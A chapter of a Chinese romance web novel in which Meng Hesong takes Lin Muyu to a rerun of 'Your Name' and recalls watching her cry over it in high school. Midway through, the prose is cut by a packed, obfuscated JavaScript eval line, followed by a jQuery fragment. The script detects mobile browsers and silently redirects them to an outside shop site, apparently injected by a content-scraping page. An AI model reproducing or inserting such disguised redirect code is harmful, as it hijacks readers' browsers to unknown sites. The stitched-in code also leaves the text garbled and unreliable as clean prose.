孟和颂把蔺沐雨送到门口,她坚持不让他送,他只好看着她走远。
“你喜欢她吧?”邬恒的声音如同鬼魅,阴嗖嗖地从身后传来。
孟和颂的注意力还放在那个逐渐远处的背影上,没有注意到邬恒的靠近,不由得一个激灵,“你干什么?”
靠这么近!
孟和颂绕开邬恒,假装没听到他的问题。
邬恒也不介意,继续跟上他,一副过来人的表情,孜孜不倦地追问,“你喜欢她”,出口却是肯定句。
“你从哪里看出来的?”
邬恒一脸看破不说破的表情,“你的表情出卖了你。”
说完也不解释,留给他一个背影,挥手告别,“我走了,你把门锁了!”
表情?自己是什么表情?
孟和颂从兜里摸出手机,借着手机屏幕的反光,看见了自己嘴角的弧度。
原来有这么明显吗?
那她会不会也能看出来?
蔺沐雨其实还真没有看出来什么,毕竟她简直可以说是从工作室落荒而逃的,她开口的一瞬间,连自己也愣了愣,她脱口而出这些话,竟这么自然?
伴随着孟和颂明明很正常的停顿与迟疑,她心如擂鼓,属实是无法相信,自己竟然主动发起了邀约。
她第一次,主动,约了一个,男人!
他会答应吗?还是像之前拒绝宣传部师妹要微信的请求一样,简单直接?
她也是后来才从付爽那里听说,那天他拒绝那个师妹的态度,可是十分果决。
墙上的挂钟滴滴答答作响,秒针快要转完一圈,就在蔺沐雨已经为他拒绝后自己从容而不尴尬的话语打好腹稿时,他缓缓开口,“好啊,十九号我去你学校接你。”
他清楚的知道重映的时间,没有说我们在电影院见面,他说我去接你。
他好温柔,眼睛里像有一片能流淌出的汪洋,快要把她淹没。
蔺沐雨觉得自己有些玩过火了,她逐渐把握不了事态的发展节奏,只好匆匆告别。
孟和颂要送她回去的提议被她一口回绝。
她想她需要好好冷静一下。
但是冷静效果却很一般,付爽就一眼便看出了她的变化。
“外面这么热吗?你脸怎么这么红?”
蔺沐雨配合地拿起桌上印着宣传广告的扇子,使劲扇了扇,“嗯,有点,有点热。”
付爽在空调房里待了一整天,倒也感知不到外面的温度,信以为真,点点头却忽然想到什么,“你给我带的饭呢?”
空空如也的双手,蔺沐雨这才想到似乎忘了什么,“我给忘了。”语气是难得的心虚。
付爽瞬间从椅子上跳起来,“忘了,那你出去这么久?干什么去了?”
蔺沐雨怔了怔,语气有些不自然,“就,吃饭啊。”
付爽一脸不相信,她出门起码得有两个小时,原本她还愧疚她给自己带饭,害她这么热的天苦等两小时。
结果,她告诉自己,根本就没有买饭?
那她去干什么了?
不对,肯定有问题。
“你是不是,又遇到谁了?”付爽根本不指望从她口里问出答案,开始猜测,“我猜,不会又是孟老板吧?”
见蔺沐雨不敢看她的眼睛,付爽知道自己又猜对了,瞬间忘了自己没饭吃这个残忍的事实,笑得暧昧,“有缘成这样了,还不冲?”
心叹真是缘分来了躲都躲不掉,这次月老给蔺沐雨的红线就仿佛钢筋焊的!
蔺沐雨心虚没有反驳,毕竟她似乎已经行动了。
桌子上的手机响了几声,付爽眼疾手快,凑过去看了个大概。
[临渊:你19号那天有别的安排吗?]
[临渊:晚场和下午场,选哪个?]
[临渊:喜欢喝什么饮料?我提前买好。]
“交代吧,你们进展如此迅速?”
蔺沐雨按下锁屏键,暂时没有回复,“我帮他修电脑,他请我看电影当报酬而已,别想太多。”
也是在提醒自己,别想太多。
付爽撇撇嘴,想起了什么,“19号,我没记错的话是《你的名字》重映吧?”
见蔺沐雨依旧像个没开口的葫芦,一言不发,付爽心照不宣地笑了,“你就继续装傻吧,我什么都不说了,等着孟老板请吃饭就行了。”
说完自顾自去泡方便面了,此刻的泡面是在为今后的大餐打地基。
付爽不爱动漫,只是听蔺沐雨提起过几次,《你的名字》在19号重映。
这个电影对蔺沐雨的特殊性,付爽是见识过的,她第一次见蔺沐雨哭,就是她在寝室插着耳机看这部电影。
付爽从未问过这个电影对她来说代表了什么,为什么会喜欢这个电影。
但她可以看出来,意义非凡。
蔺沐雨19号有一整天的实验安排,就和孟和颂约了晚场,下午六点在学校计算机学院楼下会面。
她阖上电脑下楼,那人已站在楼下远远望着她了,他站在一颗榕树下,穿着简单的白色T恤和黑色长裤,还是背着那个黑色的斜挎包,一身的少年意气,和周围的来来去去的大学生无异。
他冲着蔺沐雨笑,蔺沐雨也不由自主地勾起了唇角,一步步朝他走去。
她有些不自然地扶了扶眼镜,她近视是从高四复读开始的,平时都戴隐形眼镜,但工作时还是习惯戴框架眼镜,“不好意思,没来得及换衣服。”
没来得及打扮,她怕他会觉得自己对这次约会——或是说邀约,一点都不重视。
“今天有些忙。”她继续补充。
孟和颂视线落在她的脸上又挪开,抬步往前走,“这样就很好。”
“我没想到,看重映的人还是很多。”幸好他买票比较早,不然还真不能确保能坐到最佳的观影位置。
蔺沐雨说起这个,语气里多了些雀跃,“那当然了,这个电影一直都很火的!很多人都喜欢它!”
孟和颂点点头,“是吗?那我能知道,你为什么喜欢吗?”
蔺沐雨确实被问住了,她不知道,或者是根本就没有想过为什么,她为什么会喜欢这个电影。
像平时吃东西,都会有喜恶,喜欢无非是因为觉得那个东西好吃;可是她不能说,喜欢看这个电影是因为好看,那太单薄。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837211|211490||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
察觉到蔺沐雨的沉默,孟和颂也没有再说话。
他想,她的沉默,或许都来源于那些没能圆满的事物吧——或许还有人。
怔愣半晌,蔺沐雨缓缓开口,“或许是因为记忆吧!”
为了让自己的回答更简单易懂一些,她换了个说法解释,“不知道你有没有那种感觉,听到一首歌时,会勾起一段记忆。”
“或许是因为那段时间你听那首歌次数多,或许是某个人介绍你听的那首歌。”
她想了想,拿自己举例,“就像我第一次听《成都》这首歌,就是我初中同学推荐我去听的,所以我现在每次听这首歌,就会想起那个同学。”
孟和颂不置可否,没有顺着接话,反而若有所思地问,“那你看这个电影,回想起的记忆,是某个时间点,还是某个人?”
付爽不清楚,但他知道,这个电影和谁有关,而她的情绪,又来源于谁。
蔺沐雨没有想到他会这么问,倒是认真的思考了一番,“都不是吧,或者说都有。但是更多的,是一种情绪,一种看似圆满却依旧怅然若失的情绪。”
每一次回顾,她都会为这个故事感动,有种恨不能继续的遗憾,她也试图通过原作者的采访窥得些许泷和三叶的后续发展。
孟和颂闻言笑了,没有再深究这个问题。
过去种种,此刻追究起来似乎都显得那么无力,无一不像在嘲讽过去胆小如鼠的他。
他知道蔺沐雨喜欢这个电影,早在七年以前。
难以置信,他认识蔺沐雨,早已有七年之久。
那时的他们,都在榕城二中同一栋教学楼的同一层楼,只是他所在的清北班在东边,蔺沐雨所在的三班在西边。
三班的教室挨着厕所,他老是路过他们班级。
蔺沐雨他们班的氛围很好,虽说也是重点班,却没有清北班那种时刻紧绷的压迫感,下午下课到晚自习中间那一个多小时,往往就是他们的休闲时刻。
三班管理多媒体投影的同学就是那个高高瘦瘦的男生,脸上总是挂着笑容,一副乐观开朗的明媚阳光扑面而来。
那天她们班播放的《你的名字》就是那个男生推荐的,或许这就是作为管理员的特权,可以在休闲时间看自己喜欢的电影,可以介绍自己喜欢的电影给全班的同学。
蔺沐雨趴在课桌边,看得入神,也为主人公之间的分别而默默垂泪,他在走廊上能看到她偷偷抹掉的眼泪,以及把擦泪的纸巾仓促揣进校服口袋。
后来他再次路过三班窗外,偶然看见座位靠窗边的她,桌上的饭卡套换成了三叶和泷背靠背坐的场景。
他知道她喜欢这个电影很多年了,所以那晚会在蔺沐雨主动让他请她看这部电影时,按捺不住地喜悦。
会在心里暗自猜想,或许这算是一种接纳。
一种被视作自己安全圈内部人员的接纳。
那晚上邬恒能够轻易从他的表情下笃定的判断,是因为有些东西,是隐藏不住的。
他知道她喜欢这个电影,只是他却不知道,她喜欢这个电影,是因为电影本身?
还是当年带她看这个电影的人?